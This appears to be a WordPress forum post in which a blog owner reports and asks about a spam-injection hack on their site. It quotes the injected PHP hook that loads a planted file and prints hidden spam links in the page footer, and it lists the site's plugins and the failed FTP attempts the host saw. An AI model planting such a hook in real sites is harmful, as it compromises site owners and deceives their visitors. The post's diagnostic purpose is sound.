    Just to be clear, the following got inserted into my page footer:

    add_action(‘wp_footer’,’wpc7c16b8466d864eeefd20050625c7775′);
    function wpc7c16b8466d864eeefd20050625c7775() {
    @include(‘./wp-includes/class-mail.php’);
    if(sizeof($wparr)>0){
    echo “<div id=\”goro\”>”;
    foreach($wparr as $k=>$v){
    echo ““.ucwords($v[‘key’]).”\n”;
    if($i++==$inum) break;
    }
    echo “</div>”.$_footer;
    }
    }

    However after googling for the goro div and finding some results on these forums, what appears to be different in this case is that wp-includes/default_filters.php was the file that included the hack, not a theme.

    The hack above has happened again on my 2.3.1 blog. Again my host has confirmed that there wasn’t any successful ftp logins on or around the date that class-mail.php was placed on the server.

    This page seems to have information about how to get rid of the hack, suggesting it has been seen elsewhere:

    http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/

    FYI, I am running WP 2.3.1 with the Tranquility 1.2 theme and the following plugins activated:

    Askimet 2.0.2
    DupPrevent 1.0
    Feedburner Feedsmith 2.3
    Google Search Widget 1.0
    Google XML Sitemaps 3.0.1
    ShareThis 2.0
    Ultimate Google Analytics 1.5.3

    Site is at http://adrianspender.com/blog I have removed the hack.

    Can anybody else confirm they have seen this or give any reasonable explanation as to how the backdoor works?

    My host confirms that there were a number of attempted FTP logins from a Chinese IP on the day of the hack, but none of them were successful.
